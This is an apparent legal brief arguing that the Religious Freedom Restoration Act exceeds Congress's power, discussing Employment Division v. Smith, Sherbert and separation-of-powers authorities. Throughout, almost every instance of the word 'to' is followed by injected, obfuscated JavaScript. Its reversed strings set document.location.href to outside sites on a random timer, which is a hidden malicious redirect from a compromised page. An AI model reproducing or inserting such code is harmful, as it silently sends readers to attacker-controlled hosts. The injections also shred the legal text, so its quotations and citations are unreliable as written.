delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the intention of their agents.

The Federalist No. 78, at 467 (Alexander Hamildoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton) (Clindoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Rossiter ed., 1961). See also United States v. Nixon, 418 U.S. 683, 703 (1974);Plaut v. Spendthrift Farm, Inc., 115 S.Ct. 1447, 1463 (1995) (“The doctrine of separation of powers is a structural safeguard.”). The eminent constitutional scholar Thomas Cooley articulated the separation of powers problem embedded in RFRA in precise terms: the legislature “cannot compel the courts . . . doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to adopt a particular construction of a law [and] cannot… require of them a construction of the law according doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to its own views.” Thomas Cooley, Constitutional Limitations 94-95 (1868), cited with approval in Plaut, 115 S. Ct. at 1455-56.

 

“Congress simply lacks [28]  the constitutional authority doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to override the Court’s interpretation of the First Amendment.” Douglas Laycock & Oliver S. Thomas, Interpreting the Religious Freedom Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act, 73 Tex. L. Rev. 209, 243 (1994). After this Court declared the meaning of the Free Exercise Clause in Smith, Congress had no latitude doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to introduce a competing standard and then doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to direct the courts doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to implement that standard in cases adjudicating free exercise interests.

With RFRA, Congress has overstepped the bounds of its legitimate constitutional powers and made real the “fear of legislative usurpation” that animated the Framers’ pivotal decision doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to institute a government of limited powers. Henry P. Monaghan, Marbury and the Administrative State, 83 Colum. L. Rev. 1, 32 (1983). In the end, this case is not about religious liberty, but rather about the power of Congress doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to alter the Constitution’s liberty-preserving structure.

Fortunately, “the Constitution protects us from our own best intentions: It divides power among sovereigns and among branches of government precisely so that we may resist the temptation doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to concentrate power in one location as an expedient solution doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to [29]  the crisis of the day.” New York v. United States, 505 U.S. 144, 187 (1992).

In 1990, this Court doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took the occasion of its decision in Employment Division v. Smith, 494 U.S. 872 (1990), doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to survey First Amendment Free Exercise doctrine. Reaffirming the approach that this Court has employed since its first free exercise decision, Reynolds v. United States, 98 U.S. 145 (1879), this Court explained that the compelling interest standard announced eighty-five years after Reynolds in Sherbert v. Verner, 374 U.S. 398 (1963), had been applied rarely in free exercise cases involving neutral, nondiscriminadoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, generally applicable laws. Smith, 494 U.S. at 883-85. Justice Scalia, writing for the Court and joined by Chief Justice Rehnquist and Justices White, Stevens, and Kennedy, surveyed the doctrine as follows:

We have never invalidated any governmental action on the basis of the Sherbert test except the denial of unemployment compensation. Although we have sometimes purported doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to apply the Sherbert test in contexts other than that, we have always found the test satisfied.  [30]  In recent years we have abstained from applying the Sherbert test … In Bowen v. Roy, 476 U.S. 693 (1986), we declined doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to apply Sherbert analysis doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a federal statudoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory scheme that required benefit applicants and recipients doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to provide their Social Security numbers … In Lyng v. Northwest Indian Cemetery Protective Assn., 485 U.S. 439 (1988), we declined doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to apply Sherbert analysis doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Government’s logging and road construction activities on lands used for religious purposes by several Native American Tribes . . . In Goldman v. Weinberger, 475 U.S. 503, 106 S. Ct. 1310, 89 L.Ed.2d 478 (1986), we rejected application of the Sherbert test doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to military dress regulations that forbade the wearing of yarmulkes. In O’Lone v. Estate of Shabazz, 482 U.S. 342 (1987), we sustained without mentioning the Sherbert test, a prison’s refusal doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to excuse inmates from work requirements doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to attend worship services.

Smith, 494 U.S. at 883-84 (citations omitted).

 

Even those in dissent in Smith agreed that the compelling interest test had not obtained in every context. Justices Brennan, Marshall and Blackmun joined the section [31]  of Justice O’Connor’s concurrence in the judgment in which she identified “contexts in which [the Court has] not traditionally required the government doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to justify a burden on religious conduct by articulating a compelling interest.” Id. at 900-01 (identifying cases involving the government’s conduct of its own internal affairs, military regulations and prison regulations as subject doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to deferential review).2

[32]

The Court continued: “Even if we were inclined doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to breathe indoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Sherbert some life beyond the unemployment compensation field, we would not apply it doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to require exemptions from a generally applicable criminal law … We conclude doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today that the sounder approach, and the approach in accord with the vast majority of our precedents, is doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hold the [Sherbert] test inapplicable doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to… [free exercise] challenges [doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to generally applicable laws].” Id. at 885-86 (emphasis added). In other words, the compelling interest test was inconsistent with most of the Court’s free exercise precedents.

The Smith Court limited its discussion doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the compelling interest test announced in Sherbert, not even referring doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the least restrictive means test that appears in § 2000bb-1(b) of RFRA. In fact, the least restrictive means test has not been a staple of free exercise doctrine. It has never been used by this Court doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to invalidate a law and has been cited as a component of the standard of review for free exercise cases in only one case, Thomas v. Review Bd. of Indiana Employment Sec. Div., 450 U.S. 707, 718 (1981). See also The Religious Freedom Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act of 1991: Hearings on H.R. 2797 [33]  Before the Subcomm. on Civil and Constitutional Rights of the House Comm. on the Judiciary, 102d Cong., 2d Sess. 380-81 (1992) (statement of Professor Ira C. Lupu) (“You will search the Supreme Court’s opinions in Yoder and Sherbert in vain for the [least restrictive means test].”).

The Smith Court explained its decision doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to follow the larger trend of its precedents rather than doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to extend the compelling interest test 